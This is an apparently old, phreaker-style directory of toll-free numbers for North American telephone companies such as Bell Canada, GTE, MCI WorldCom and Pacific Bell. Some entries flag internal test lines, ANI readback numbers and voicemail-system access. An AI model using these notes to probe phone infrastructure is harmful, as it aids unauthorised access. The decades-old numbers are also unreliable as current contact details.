+1-800-256-2355 Bell Nexxia. (after hours OcTel VMB)
+1-800-263-3899 Bell Mobility Customer Service.
+1-800-263-7412 Bell Canada Millennium Help Line.
+1-800-263-8394 Bell Mobility.
+1-800-265-0123 Bell Mobility Ardis Division Sales.
+1-800-265-3076 Telesat Satellite Network Operations Control.
+1-800-265-5925 Bell Canada Business Repair. (Data & I.X. Voice Repair)
+1-800-267-0123 Bell Mobility's Automated Express Lane System. (reports EST)
+1-800-267-0424 Bell Nexxia Customer Care.
+1-800-267-1870 Telesat Canada.
+1-800-267-2355 Bell Mobility Quebec.
+1-800-267-5353 Tele-Direct Atlantic.
+1-800-267-6511 IslandTel Special Needs Centre (Tdd)
+1-800-267-6574 Bell Canada Datapac Customer Assistance Centre.
+1-800-267-7002 Tele-Direct.
+1-800-267-7640 Bell Canada's Ident-a-Call demonstration line. ("*" to enter VMS)
+1-800-267-9502 Bell Canada. (Operator)
+1-800-267-9556 Bell Canada.
+1-800-268-1720 Bell Canada Multimedia.
+1-800-268-2323 Bell ActiMedia.
+1-800-268-2355 Bell Mobility Ottawa Office.
+1-800-268-3550 Bell ActiMedia Internet Services.
+1-800-268-5637 Bell ActiMedia (call to purchase CAN, USA and INTL. directories)
+1-800-268-5933 Bell Canada Quickchange Department.
+1-800-268-8531 Bell Repair.
+1-800-268-9100 Bell Canada 1-900, 976, Information Line (they send Faxes)
+1-800-268-9107 Bell Canada Customer Care.
+1-800-268-9160 Bell Canada Information Service Line.
+1-800-270-2355 Business Consulting Group of Bell Canada.
+1-800-323-6628 Bell Laboratories.
+1-800-331-9948 Bell Canada Relay Service Customer Comment Line.
+1-800-339-6359 BCE Investor Relations. (Montreal)
+1-800-348-2226 IslandTel.
+1-800-360-2373 Northern Telephone Service Center.
+1-800-360-8555 Northern Telephone Limited.
+1-800-361-0804 Telesat.
+1-800-361-1423 Bell Canada (Dis)Advantage Conferencing.
+1-800-361-3489 Bell Canada Customer Billing Center.
+1-800-361-6010 Bell ActiMedia Yellow Pages.
+1-800-361-7874 Bell Canada Millennium (Unknown)
+1-800-361-8717 Bell Canada Professional Services. (Montreal)
+1-800-361-9844 Bell Canada SmartTouch Information Line. (French)
+1-800-363-2355 Bell Canada's Total Solution Center for Business.
+1-800-363-3781 Bell Mobility Paging.
+1-800-363-5001 Bell ActiMedia Yellow Pages.
+1-800-363-6522 Stentor Calling Card Centre.
+1-800-363-9612 Bell Technical Services.
+1-800-387-4411 Bell Canada's Business Direct Marketing Centre.
+1-800-387-4441 Bell Advantage Call Centre Solutions. (Telemarketing)
+1-800-387-5072 Bell Mobility's Activation Department.
+1-800-387-5185 Bell Phonecentre Information Line.
+1-800-387-9571 Bell Mobility Radio.
+1-800-387-9999 Bell Gardium Security Representative.
+1-800-405-6486 Telecom Canada Ltd.
+1-800-439-2355 Direct Bell. (Wireless Communications)
+1-800-461-1156 Bell ActiMedia.
+1-800-461-1747 Bell Canada Millennium (Voice Test)
+1-800-461-1760 Bell Canada Millennium (Unknown)
+1-800-461-1879 Bell Canada Millennium (Data Test)
+1-800-461-2921 Bell Canada SmartTouch Information Line.
+1-800-461-5711 Northern Telephone.
+1-800-461-7243 Bell ActiMedia Sales Office. (formerly Yellow Pages Tele-Direct)
+1-800-461-9819 Northern Telephone Ltd.
+1-800-463-4778 Bell Canada Professional Services. (Quebec City)
+1-800-463-4833 Bell ActiMedia Yellow Pages.
+1-800-463-5376 Bell CSR-Quebec (Quebec City)
+1-800-465-2355 Bell Mobility.
+1-800-465-6960 Bell ActiMedia.
+1-800-470-2355 Bell Mobility.
+1-800-491-2355 Pacific Link Communications Mississauga (Bell Mobility Center)
+1-800-521-CORE Bellcore.
+1-800-555-1111 Bell LD. 3 way calling, calling card and many other features.
+1-800-555-4999 Bell Canada Residential and Business Service.
+1-800-561-0934 BCE Inquiry Line.
+1-800-561-2355 Bell Mobility. (French)
+1-800-561-4459 NBTel Internet.
+1-800-561-6283 NBTel Customer Care Center.
+1-800-561-8868 Stentor's Country Direct Information Line.
+1-800-561-8888 Stentor's Calling Card Centre.
+1-800-563-2900 NewTel Communications.
+1-800-563-3794 Bell Mobility (Ottawa Office)
+1-800-563-5150 NewTel Mobility.
+1-800-563-5400 NewTel Communications.
+1-800-563-7171 NewTel Communications.
+1-800-563-7988 Newfoundland Telephones Mobile Service Department. (NewTel)
+1-800-563-8700 NewTel Communications.
+1-800-565-1290 Tele-Direct Atlantic.
+1-800-565-1570 IslandTel Repair Service.
+1-800-565-4287 IslandTel Business Inquiries.
+1-800-565-4737 IslandTel Business Office.
+1-800-565-4737 IslandTel.
+1-800-565-6283 NBTel Customer Care Centre.
+1-800-565-8884 NBTel Express.
+1-800-567-1811 Bell Electronic Business Solutions Information Center.
+1-800-567-2448 Bell Canada Millennium (Test Line)
+1-800-567-9633 Bell Canada.
+1-800-574-2455 IslandTel.
+1-800-583-3746 Bell Canada First Rate.
+1-800-611-6500 Bell Mobility Cellular.
+1-800-641-2311 Bell Canada Customer Service. (French - Press "2" for English)
+1-800-654-3724 Bell Communications Security.
+1-800-665-1800 NBTel.
+1-800-665-6000 NewTel Express.
+1-800-667-0123 Bell Mobility's Automated Express Lane System.
+1-800-667-6030 Bell Canada (French)
+1-800-667-6283 NBTel.
+1-800-668-0911 BCE Mobile Communications Inc.
+1-800-668-2355 Bell Canada.
+1-800-668-4862 Bell Canada Millennium (Coin)
+1-800-668-6851 Bell Canada Millennium (Alarm)
+1-800-668-6878 Bell Direct. (U.S. and Canada)
+1-800-668-8868 Stentor. (Cantonese and Mandarin)
+1-800-668-9090 Bell Information Systems Repair Service.
+1-800-668-9608 Bell Canada Switch Control Centre.
+1-800-668-9716 Bell Canada Employment Centre. (Press "*" to access VMS)
+1-800-668-9877 Telesat.
+1-800-724-4443 Bell Sympatico.
+1-800-749-0764 Bell Canada Human Resources.
+1-800-749-2538 Bell Canada. (Toronto Office)
+1-800-749-3081 Bell Canada Office.
+1-800-749-3085 Bell Canada Ontario Control Centre.
+1-800-749-3279 Bell Canada Business Sales.
+1-800-749-3743 Bell Canada. (Toronto Office)
+1-800-749-3745 Bell Canada Ontario Control Centre.
+1-800-749-4198 Bell Canada Ontario Control Centre.
+1-800-749-4208 Bell Canada Ontario Control Centre.
+1-800-749-9362 Bell Canada Ontario Control Centre. (Regional Manager)
+1-800-749-9770 Bell Canada. (Toronto Office)
+1-800-768-2220 Bell (VIC) Voice Interactive Communications System.
+1-800-772-2141 Bell Canada Millennium (Setshop)
+1-800-773-2121 Sympatico Customer Service. (Bell Canada's Internet service)
+1-800-789-9073 Bell Simple Connections.
+1-800-803-0077 Bell QuickChange Cards Customer Service.
+1-800-847-7303 Bell Minor Hockey Hotline.
+1-800-848-8353 Bell ActiMedia (Tele-Direct) Customer Service.
+1-800-855-0511 Bell Canada Relay Service (BCRS) Operator.
+1-800-862-6330 MTS (Manitoba Telephone System)
+1-800-889-4670 Bell Canada's Total Solution Center for Business.
+1-800-889-4672 Bell Canada Business.
+1-800-889-4676 Bell Canada Business.
+1-800-889-4681 Bell Advantage Internet Interactive Information System.
+1-800-889-4686 Bell Canada's Business Direct Marketing Centre.
+1-800-889-4690 Bell Canada Small and Medium Business.
+1-800-889-4691 Bell Advantage Internet Interactive Information System.
+1-800-931-3282 IslandTel Data Communications.
+1-800-936-6245 IslandTel. (IslandTel Express="1")
+1-800-938-4442 IslandTel Express. (reads back ANI)
+1-800-957-9999 Bell Canada Long Distance.
+1-800-984-2646 IslandTel Public Telephones.
+1-800-995-8887 Bell ActiMedia Sales Department.
+1-800-PRIVACY Bell Canada Call Privacy Service Demonstration/Order Line.
+1-800-REWARDS Bell Canada Rewards.
+1-877-2-ALIANT Aliant, Inc.
+1-877-202-3206 Bell Canada. (Chinese)
+1-877-202-3207 Bell Canada. (Chinese)
+1-877-202-3208 Bell Canada. (Chinese)
+1-877-202-3209 Bell Canada. (Chinese)
+1-877-241-6228 Bell Sympatico High Speed Edition Internet Service.
+1-877-268-4273 Bell Gardium Sales Department.
+1-877-318-0859 Bell Sympatico.
+1-877-327-9598 Bell Sympatico.
+1-877-327-9630 Bell Canada's Interactive Sympatico Ordering Service.
+1-877-35-SPEED Bell Sympatico.
+1-877-381-BELL Bell Mobility.
+1-877-486-3472 Bell Canada's Interactive Sympatico Ordering Service.
+1-877-499-1260 Bell Canada's SmartTouch Promotion Line.
+1-877-499-1263 Bell Canada's SmartTouch Line.
+1-877-4PERCALL Bell Canada's (Dis)Advantage Per Call.
+1-877-500-2688 Bell Canada's Interactive Sympatico Ordering Service.
+1-877-500-2693 Bell Canada's Interactive Sympatico Ordering Service.
+1-877-500-2694 Bell Canada's Interactive Sympatico Ordering Service.
+1-877-500-2699 Bell Canada's Interactive Sympatico Ordering Service.
+1-877-506-BELL Bell ExpressVu.
+1-877-51-SPEED Bell Sympatico Internet Services.
+1-877-518-BELL Bell ExpressVu.
+1-877-520-BELL Bell ExpressVu.
+1-877-521-BELL Bell ExpressVu.
+1-877-540-8222 Bell Canada's Interactive Sympatico Ordering Service.
+1-877-595-0210 Bell ActiMedia.
+1-877-60-SPEED Bell Sympatico.
+1-877-652-4119 Bell's SmartTouch Promotion.
+1-877-70-SPEED Bell Sympatico.
+1-877-723-4400 Bell Mobility Totalcom.
+1-877-733-BELL Bell Canada Direct Marketing Business Center.
+1-877-763-BELL Bell Canada's Total Solution Center for Business Customers.
+1-877-801-BELL Bell Canada's Direct Marketing Business Centre.
+1-877-811-6891 Bell Sympatico High Speed Edition.
+1-877-811-6892 Bell Sympatico High Speed Edition.
+1-877-811-6893 Bell Sympatico High Speed Edition.
+1-877-811-6894 Bell Sympatico High Speed Edition.
+1-877-811-6895 Bell Sympatico High Speed Edition.
+1-877-828-8686 IslandTel Sales.
+1-877-885-2424 Bell First Rate 24 Hour Enrollment Service.
+1-877-90-SPEED Bell Sympatico.
+1-877-91-SPEED Bell Sympatico.
+1-877-92-SPEED Bell Sympatico.
+1-877-96-SPEED Bell Sympatico.
+1-877-99-SPEED Bell Sympatico.
+1-877-999-2355 Bell Canada's Voice Response System.
+1-877-AIT-3113 Aliant Investor Relations.
+1-877-ALL-WKND Bell Mobility.
+1-877-BELLCORE Telcordia Technologies. (formerly known as Bellcore)
+1-877-BUNDLE-1 Bell Canada's Direct Marketing Centre.
+1-877-FIRSTRATE Bell First Rate Interactive Information and Enrollment Service.
+1-877-SIMPLY-1 Bell Mobility Simply One Plan.
+1-888-217-6533 Bell Mobility Pager.
+1-888-217-6535 Bell Mobility Pager.
+1-888-217-6538 Bell Mobility Pager.
+1-888-217-6539 Bell Mobility Pager.
+1-888-217-6540 Bell Mobility Service.
+1-888-24-FIRST Bell First Rate Interactive Information and Enrollment Service.
+1-888-242-2355 Bell (Spanish)
+1-888-291-6799 Bell Mobility Order Desk.
+1-888-299-0977 Bell Canada's Interactive Sympatico Ordering Service.
+1-888-308-5640 Bell Mobility Paging.
+1-888-333-4454 Bell Equipement D Imprimerie.
+1-888-368-9110 Northwestel Account Manager.
+1-888-377-2355 Bell First Rate Interactive Information and Enrollment Service.
+1-888-378-2355 Bell Canada's Ontario Direct Marketing Center.
+1-888-386-5555 Stentor Communications Production Fund.
+1-888-388-2355 Bell Direct in Canada. (the same as 310-BELL)
+1-888-4-662453 (1-888-4-MOBILE) Bell Mobility Cellular.
+1-888-423-2333 Northwestel Business Support Centre.
+1-888-433-0317 Bell Sympatico.
+1-888-442-0222 Bell Mobility Accounts Receivable.
+1-888-457-7308 Bell Mobility Order Desk.
+1-888-457-7309 Bell Mobility.
+1-888-457-7310 Bell Mobility.
+1-888-490-3001 Tele-Direct Atlantic.
+1-888-502-2222 Bell Canada. (Chinese/Vietnamese.)
+1-888-505-2222 Bell Canada. (Chinese/Vietnamese.)
+1-888-506-2222 Bell Canada. (Italian)
+1-888-512-2222 Bell Canada. (Chinese/Vietnamese.)
+1-888-513-2222 Bell Canada East and South Asian Hotline.
+1-888-515-2222 Bell Canada East and South Asian Hotline.
+1-888-519-2222 Bell Canada East and South Asian Hotline.
+1-888-521-2222 Bell Canada Operator.
+1-888-527-2222 Bell Canada's Direct Marketing Centre.
+1-888-531-2222 Bell Canada Operator.
+1-888-532-2222 Bell Canada's Direct Marketing Centre.
+1-888-538-2222 Bell Canada's Direct Marketing Centre.
+1-888-542-3784 Bell Mobility Out of the Box Program.
+1-888-597-9999 Schwab Canada QUALCOMM Digital PCS phone from Bell Mobility.
+1-888-739-2737 (1-888-REWARDS) Bell Total Rewards.
+1-888-788-2355 Bell Canada Business Consulting Group.
+1-888-794-0777 Stentor Canadian Network Management.
+1-888-796-1825 Bell (Dis)Advantage Internet Solutions.
+1-888-865-2239 Bell Mobility Pager.
+1-888-904-2355 Bell First Rate Interactive Information and Enrollment Service.
+1-888-932-6666 BCE Corp. Communications.
+1-888-DIRECPC Telesat Canada's Direct PC Customer Care Centre.
+
+
+-------------------------------------------------------------------------------
+ BellSouth:
+-------------------------------------------------------------------------------
+
+1-800-237-6432 BellSouth Advertising and Publishing.
+1-800-285-2355 BellSouth.
+1-800-419-2355 BellSouth. (Spanish)
+1-800-436-8638 BellSouth Internet Home. (U.S. only)
+1-800-451-6549 BellSouth Customer Service.
+1-800-541-1229 BellSouth Financial Services.
+1-800-639-2455 BellSouth Billing Services.
+1-800-733-2355 BellSouth Phones.
+1-800-753-0223 BellSouth Order Line.
+1-800-767-2355 BellSouth Automated Billing Services.
+1-800-775-2355 BellSouth Phones.
+1-800-831-4323 BellSouth.
+1-800-832-6338 BellSouth Memory Call Service.
+1-800-842-1558 BellSouth Benefits Service Center.
+1-800-858-9413 BellSouth ISDN order line.
+1-800-925-0010 BellSouth Communications Systems.
+1-800-925-0049 BellSouth Equipment/Customer Changes. (U.S. only)
+1-800-925-2525 BellSouth Business.
+1-800-962-3387 BellSouth Advertising and Publishing.
+1-800-995-9999 BellSouth Phones.
+1-800-BELL-SOUTH Collect, Calling Card and Credit Card calls.
+1-877-377-BELL BellSouth Mobility.
+1-877-464-BELL BellSouth Mobility Employment Line.
+1-877-921-BELL BellSouth.
+1-877-955-BELL BellSouth Rewards.
+1-877-TELEFONE BellSouth.
+1-888-201-2355 BellSouth Benefit Enrollment System.
+1-888-203-2355 BellSouth.
+1-888-327-2355 BellSouth Mobility Area Code Reprogramming Department.
+1-888-383-2355 BellSouth Cellular Fraud Prevention Center.
+1-888-462-8033 BellSouth COCOT Repair.
+1-888-543-2355 BellSouth Internet Business.
+1-888-837-1668 BellSouth Telecom Rental Services.
+
+
+-------------------------------------------------------------------------------
+ Cellular One:
+-------------------------------------------------------------------------------
+
+1-800-270-4444 Cellular One.
+1-800-369-2355 Cellular One.
+1-800-381-2355 Cellular One.
+1-800-487-2355 Cellular One Customer Service.
+1-800-514-2355 Cellular One's Welcome line.
+1-800-567-2355 Cellular One.
+1-800-604-2355 Cellular One.
+1-800-670-2355 Communication One (authorized agent of Cellular One)
+1-800-CELL-ONE Cellular One. (U.S. only)
+1-877-CELLFONE Cellular One's Voicemail Help line.
+1-888-345-2355 Cellular One Dispatch.
+1-888-522-2355 Cellular One.
+1-888-562-2355 Cellular One's Job Hotline.
+1-888-681-2355 Cellular One.
+1-888-CELLPHONE Cellular One.
+1-888-CELLULAR Cellular One Sales Office.
+
+
+-------------------------------------------------------------------------------
+ GTE:
+-------------------------------------------------------------------------------
+
+1-800-225-5160 GTE Corporation Teleservicing System.
+1-800-225-5483 (1-800-CALL-GTE) GTE Long Distance.
+1-800-272-3466 GTE Internetworking.
+1-800-346-5800 GTE Business Sales Center.
+1-800-347-5665 GTE Express. (Cellular)
+1-800-366-4834 (1-800-FON-GTE4) GTE Personnel-only question line. (U.S. only)
+1-800-366-4835 (1-800-FON-GTE5) GTE Personnel-only question line.
+1-800-366-5665 GTE Express. (Cellular)
+1-800-413-4233 GTE Education Assistance Program.
+1-800-428-8722 GTE Superpages Internet Services.
+1-800-445-5288 GTE Business Sales Center.
+1-800-445-5586 GTE Conference Connections Billing Department.
+1-800-445-7920 GTE Airfone.
+1-800-448-3795 GTE.
+1-800-472-4565 GTE Internetworking. (U.S. only)
+1-800-483-1000 (1-800-GTE-1000) GTE Repair Center.
+1-800-483-2273 (1-800-GTE-CARD) GTE Calling Card Services.
+1-800-483-3000 GTE Billing Center.
+1-800-483-3600 GTE North Customer Billing Center.
+1-800-483-4000 GTE California Customer Service Ordering Center.
+1-800-483-4839 GTE Business Response Center.
+1-800-483-5000 GTE California Business Sales Center.
+1-800-483-5288 GTE Headquarters in Irving, TX.
+1-800-483-5400 GTE Business Sales Center.
+1-800-483-5559 GTE.
+1-800-483-5781 GTE Wireless.
+1-800-483-7243 (1-800-GTE-PAGE) GTE Paging.
+1-800-483-7479 GTE Hawaiian Tel's Business Sales Center.
+1-800-483-8494 GTE Long Distance.
+1-800-527-2558 GTE Business Response Center.
+1-800-643-0997 GTE Bank Card Center.
+1-800-670-9320 GTE Paging.
+1-800-727-2355 GTE Wireless.
+1-800-787-9689 GTE Customer Service.
+1-800-826-1311 GTE Billing Center.
+1-800-877-5665 GTE Express. (Cellular)
+1-800-888-8448 GTE Directory Order Center.
+1-800-892-9600 GTE.
+1-800-927-3000 GTE Internet.
+1-800-AIRFONE GTE Airfone.
+1-877-205-7743 GTE National Support Center.
+1-877-888-9942 GTE Airfone.
+1-877-888-9943 GTE Airfone.
+1-877-888-9944 GTE Airfone.
+1-877-888-9945 GTE Airfone.
+1-877-888-9946 GTE Airfone.
+1-877-888-9947 GTE Airfone.
+1-877-888-9948 GTE Airfone.
+1-877-888-9949 GTE Airfone.
+1-877-888-9950 GTE Airfone.
+1-877-888-9951 GTE Airfone.
+1-888-483-0022 GTE Government Systems.
+1-888-483-4555 GTE Internet.
+1-888-681-3279 GTE Airfone.
+1-888-AIRFONE GTE Airfone. (Talk to people while they're in-flight)
+
+
+-------------------------------------------------------------------------------
+ Lucent Technologies:
+-------------------------------------------------------------------------------
+
+1-800-222-3111 Lucent Technologies. (St Louis, MO)
+1-800-222-6111 Lucent Technologies Consumer Products.
+1-800-228-1938 Lucent Technologies Calibration and Repair Services.
+1-800-237-0016 Lucent Technologies.
+1-800-242-2121 Lucent Technologies (PBX systems info, VMS info on Audix, etc.)
+1-800-247-7000 Lucent Technologies. (Expanets)
+1-800-289-0609 Lucent Technologies National Customer Care Center.
+1-800-322-2016 Lucent Technologies National Customer Care Center.
+1-800-342-5677 Lucent Technologies Technical Services Organization.
+1-800-344-0223 Lucent Technologies Inside Sales Department at the CRC.
+1-800-344-9670 Lucent Technologies National Customer Care Center.
+1-800-387-4268 Lucent Technologies.
+1-800-4-LUCENT Lucent Technologies.
+1-800-432-6600 Lucent Technologies Customer Information Center.
+1-800-451-2100 Lucent Technologies Cincinnati Customer Care Center.
+1-800-457-1235 Lucent Technologies BCS Publications Center.
+1-800-526-2000 Lucent Technologies NSAC.
+1-800-56-AUDIX Lucent Technologies. (telephone systems, Definity, AUDIX, etc.)
+1-800-628-2888 Lucent Technologies National Customer Care Center.
+1-800-643-2353 Lucent Technologies National Customer Care Center.
+1-800-811-1802 Lucent Technologies Special Customer Operations.
+1-800-821-8204 Lucent Technologies Multi-Media Applications Customer Support.
+1-800-822-2000 Lucent Technologies.
+1-800-852-0246 Lucent Technologies.
+1-877-4-LUCENT Lucent Technologies.
+1-888-4-LUCENT Lucent Technologies Canada.
+1-888-LUCENT-6 Lucent Technologies Shareholder Services.
+1-888-LUCENT-8 Lucent Technologies.
+
+
+-------------------------------------------------------------------------------
+ MCI WorldCom:
+-------------------------------------------------------------------------------
+
+1-800-225-5888 MCI WorldCom Operator Services.
+1-800-254-8991 MCI WorldCom Customer Service. (U.S. only)
+1-800-264-1000 MCI WorldCom Customer Service.
+1-800-265-5328 MCI's 1-800-COLLECT. Automated collect calls.
+1-800-267-7320 Network MCI.
+1-800-270-6245 WorldCom VMS. ("Please enter the # sign followed by your BN")
+1-800-275-0200 MCI WorldCom Residential/Business Customer Service.
+1-800-275-1234 MCI WorldCom. Accepts calling cards for phone calls.
+1-800-294-3496 MCI WorldCom.
+1-800-333-1000 MCI WorldCom Commercial Customer Service.
+1-800-333-2000 MCI WorldCom.
+1-800-333-5000 MCI WorldCom Residential Service.
+1-800-336-0149 MCI WorldCom Worldwide Customer Care and Global Product Support.
+1-800-374-6400 MCI WorldCom Local Customer Service.
+1-800-401-9997 MCI WorldCom.
+1-800-432-4557 MCI WorldCom Account Services. (U.S. only)
+1-800-444-1111 MCI WorldCom's Global Technical Service Center.
+1-800-444-3333 MCI WorldCom Customer Service.
+1-800-444-4444 MCI WorldCom.
+1-800-444-6242 MCI.
+1-800-444-6245 MCI Mail Messaging and Technical Support.
+1-800-444-7000 MCI WorldCom St. Louis Business Market Sales Office.
+1-800-451-7220 MCI WorldCom.
+1-800-455-1605 Network MCI System.
+1-800-455-2957 Network MCI System.
+1-800-455-4215 Network MCI System.
+1-800-455-5469 Network MCI System.
+1-800-455-6084 Network MCI Interactive Paging Service.
+1-800-455-6504 Network MCI System.
+1-800-455-6513 Network MCI System.
+1-800-455-6780 Network MCI System.
+1-800-455-6834 Network MCI System.
+1-800-455-7806 Network MCI System.
+1-800-455-7854 Network MCI System.
+1-800-455-7920 Network MCI System.
+1-800-456-0253 MCI WorldCom.
+1-800-475-0138 MCI WorldCom.
+1-800-475-5628 MCI WorldCom Paging System.
+1-800-475-9321 MCI WorldCom.
+1-800-483-4929 Network MCI System.
+1-800-483-8784 Network MCI System.
+1-800-539-2000 MCI WorldCom Business Services.
+1-800-554-5778 MCI WorldCom Prepaid Cellular.
+1-800-555-4668 Network MCI System.
+1-800-627-2355 MCI WorldCom Administrative Offices.
+1-800-630-6759 MCI WorldCom.
+1-800-637-2255 MCI WorldCom.
+1-800-644-NEWS MCI WorldCom Public Relations.
+1-800-645-2355 MCI WorldCom.
+1-800-666-1904 MCI WorldCom. (U.S. only)
+1-800-666-2612 MCI WorldCom Small Business Department.
+1-800-666-2613 MCI WorldCom.
+1-800-674-2355 MCI WorldCom (calling card calls)
+1-800-688-4889 MCI National Relay Service in the U.S. (TTY)
+1-800-701-9358 MCI WorldCom. (U.S. only)
+1-800-701-9360 MCI WorldCom. (U.S. only)
+1-800-724-3624 (1-800-PAGE-MCI) MCI WorldCom Paging System.
+1-800-727-5555 MCI Small Business Accounts. (U.S. only)
+1-800-749-0800 MCI WorldCom.
+1-800-749-9600 MCI WorldCom.
+1-800-827-4690 MCI WorldCom Paging System.
+1-800-827-4750 MCI WorldCom Paging System.
+1-800-827-9983 MCI WorldCom Corporate Accounts.
+1-800-827-9987 MCI WorldCom Corporate Accounts.
+1-800-864-4060 MCI WorldCom Wholesale Services.
+1-800-872-7654 MCI WorldCom's EDI Group.
+1-800-876-8581 Network MCI.
+1-800-877-9320 Network MCI.
+1-800-888-8000 MCI WorldCom automated calling card calls.
+1-800-909-3175 MCI WorldCom Pre-paid Card System
+1-800-909-3180 MCI WorldCom Pre-paid Card System
+1-800-909-3197 MCI. (Spanish)
+1-800-933-0902 MCI WorldCom.
+1-800-938-6374 MCI WorldCom Customer Service.
+1-800-944-0700 MCI WorldCom Wireless.
+1-800-947-8642 MCI National Relay Service in the U.S. (voice)
+1-800-950-1022 MCI WorldCom Customer Service.
+1-800-950-5555 MCI WorldCom.
+1-800-999-7700 MCI WorldCom.
+1-800-COLLECT MCI WorldCom automated collect calls.
+1-800-EVERYDAY MCI WorldCom.
+1-800-MCI-LOCAL MCI WorldCom Local Customer Service.
+1-800-SUNDAYS MCI WorldCom.
+1-800-WORLDCOM WorldCom.
+1-877-589-CELL MCI WorldCom Paging System.
+1-877-897-CELL MCI WorldCom Cellular Message Center.
+1-877-957-CELL MCI WorldCom Paging System.
+1-877-958-2355 MCI WorldCom Paging System.
+1-877-960-2355 MCI WorldCom Paging System.
+1-877-961-2355 MCI WorldCom Paging System.
+1-888-575-2355 MCI WorldCom.
+1-888-624-2355 MCI WorldCom.
+1-888-624-9266 MCI WorldCom Sales Office.
+1-888-655-2355 Network MCI Contact.
+1-888-724-3624 (1-888-PAGE-MCI) MCI WorldCom Paging System.
+
+
+-------------------------------------------------------------------------------
+ MT&T:
+-------------------------------------------------------------------------------
+
+1-800-227-7401 MT&T Mpowered PC Member Services.
+1-800-422-5978 MT&T Mobility.
+1-800-461-5533 MT&T Billing, Accounts and Repairs.
+1-800-529-7371 MT&T Data Service. (Repair)
+1-800-561-6364 MT&T Data Services.
+1-800-565-1881 MT&T Business Customer Service Centre.
+1-800-565-4003 MT&T.
+1-800-565-4800 MT&T.
+1-800-565-5065 MT&T Residence Telemarketing.
+1-800-565-6188 MT&T Express. (press "1" for ANI)
+1-800-565-7102 MT&T.
+1-800-565-CARD MT&T Calling Card Services.
+1-800-626-5552 MT&T Data Communications Sales and Repairs.
+1-800-665-5614 MT&T.
+1-800-688-9811 MT&T.
+1-800-722-2121 MT&T Sympatico.
+1-800-776-4555 MT&T Business Office.
+1-888-334-VALUE MT&T.
+
+
+-------------------------------------------------------------------------------
+ Nortel Networks:
+-------------------------------------------------------------------------------
+
+(613) 226-5456 Nortel Emergency Technical Assistance Support. (Ottawa Office)
+1-800-328-6760 Nortel Networks (Minnetonka, MN)
+1-800-461-3196 Nortel Networks (Milton, ON)
+1-800-466-7835 (1-800-4-NORTEL) Nortel Networks. (Northern Telecom)
+1-800-638-9302 Nortel Networks Customer Care Center.
+1-800-665-2827 Nortel Networks Customer Technical Services After Hours Support.
+1-800-668-1717 Nortel Networks Global Customer Care Center.
+1-800-668-5511 Nortel Networks Customer Repair and Return Services.
+1-800-684-2255 Nortel's Meridian Home Office Support/Info.
+1-800-684-9996 Nortel Networks Software Applications Status Line.
+1-800-833-7477 Nortel Networks.
+1-800-896-8944 Nortel Networks. (Fax)
+1-800-NORTEL-1 Nortel Networks Information Line for Resellers.
+1-877-4-NORTEL Nortel Networks.
+1-888-4-NORTEL Nortel Networks VMS.
+
+
+-------------------------------------------------------------------------------
+ Pacific Bell:
+-------------------------------------------------------------------------------
+
+1-800-228-7102 Pacific Bell Smart Yellow Pages.
+1-800-241-3000 Pacific Bell Quickservice. (U.S. Only)
+1-800-248-2800 Pacific Bell Smart Yellow Pages.
+1-800-286-8111 Pacific Bell Spanish Yellow Pages.
+1-800-310-BELL Pacific Bell. (U.S. Only)
+1-800-453-4539 Pacific Bell Directory Major Market. (U.S. only)
+1-800-4PB-ISDN Pacific Bell FasTrak DSL Center. (U.S. only)
+1-800-528-0000 Pacific Bell Business Products. (U.S. Only)
+1-800-750-2355 Pacific Bell Customer Service. (U.S. Only)
+1-800-782-8353 Pacific Bell (to report any payphone crimes)
+1-800-848-8000 Pacific Bell Directory Smart Resource Center.
+1-800-933-2355 Fulfillment Plus. (Pacific Bell authorized agent)
+1-800-953-4400 Pacific Bell Phone Book Recycling. (California Only)
+1-800-PAC-BELL Pacific Bell. (U.S. Only)
+1-877-909-BELL Pacific Bell's Customer Service for the Message Center.
+1-888-755-2355 Pacific Bell Equipment.
+1-888-775-2355 Pacific Bell Equipment.
+
+
+-------------------------------------------------------------------------------
+ Qwest:
+-------------------------------------------------------------------------------
+
+1-800-256-1410 Qwest Communications Corporate News Bureau.
+1-800-460-1111 Qwest Customer Service.
+1-800-460-2222 Qwest.
+1-800-460-3333 Qwest.
+1-800-524-5249 Qwest Communications Customer Service.
+1-800-524-7258 Qwest Communications.
+1-800-567-7296 Qwest Communications Investor Relations.
+1-800-600-9196 Qwest Communications VMS.
+1-800-860-2255 Qwest Communications.
+1-800-899-7780 Qwest Communications.
+1-800-968-1287 Qwest Communications.
+1-800-968-3986 Qwest Communications.
+1-800-RIDEQWEST Qwest.
+1-877-877-7978 Qwest Shareholder Communication Service.
+1-888-452-6200 Qwest.
+1-888-793-7811 Qwest Communications Career Line. (Job Listings)
+
+
+-------------------------------------------------------------------------------
+ SaskTel:
+-------------------------------------------------------------------------------
+
+1-800-667-3500 SaskTel Business Solutions.
+1-800-667-5801 SaskTel International Head Office.
+1-800-667-6840 SaskTel Mobility Customer Service.
+1-800-667-6870 SaskTel Mobility Technical Support/Repair.
+1-800-667-BELL SaskTel Mobility.
+1-800-727-5835 SaskTel Residential Customer Care Centre.
+1-800-871-3011 SaskTel Satellite Service.
+1-800-900-3638 SaskTel FleetNet 800 and Wireless Data Service.
+1-800-975-1969 SaskTel.
+1-800-SASKTEL SaskTel Billing and Inquiries.
+1-877-337-2445 SaskTel Corporate Affairs.
+1-888-226-7788 SaskTel Business Customer Care Centre.
+
+
+-------------------------------------------------------------------------------
+ Southwestern Bell:
+-------------------------------------------------------------------------------
+
+1-800-225-5792 (1-800-CALL-SWB) SBC Wireless National Services.
+1-800-248-8484 SBC Datacom.
+1-800-351-7221 SBC Shareowner Services.
+1-800-438-5678 Southwestern Bell Lost/Stolen Calling Cards.
+1-800-441-1267 Southwestern Bell Yellow Pages.
+1-800-443-6200 Southwestern Bell Yellow Pages.
+1-800-468-6792 (1-800-GO-TO-SWB) Southwestern Bell's Employee Locator.
+1-800-479-2977 Southwestern Bell Yellow Pages.
+1-800-522-6909 Southwestern Bell Yellow Pages and Advertising Services.
+1-800-528-BELL Southwestern Bell Yellow Pages Business Office.
+1-800-600-BELL Southwestern Bell (calling card/collect calls)
+1-800-792-2665 (1-800-SWB-BOOK) Southwestern Bell Directory Source.
+1-800-792-4638 (1-800-SWB-INET) Southwestern Bell Internet Services.
+1-800-909-3285 Southwestern Bell Wireless.
+1-888-455-2355 Southwestern Bell Long Distance.
+1-888-544-8847 Southwestern Bell Quick Service.
+1-888-792-3751 Southwestern Bell DSL Service.
+1-915-683-9145 Southwestern Bell Employee Locator (Automated)
+
+
+-------------------------------------------------------------------------------
+ Sprint:
+-------------------------------------------------------------------------------
+
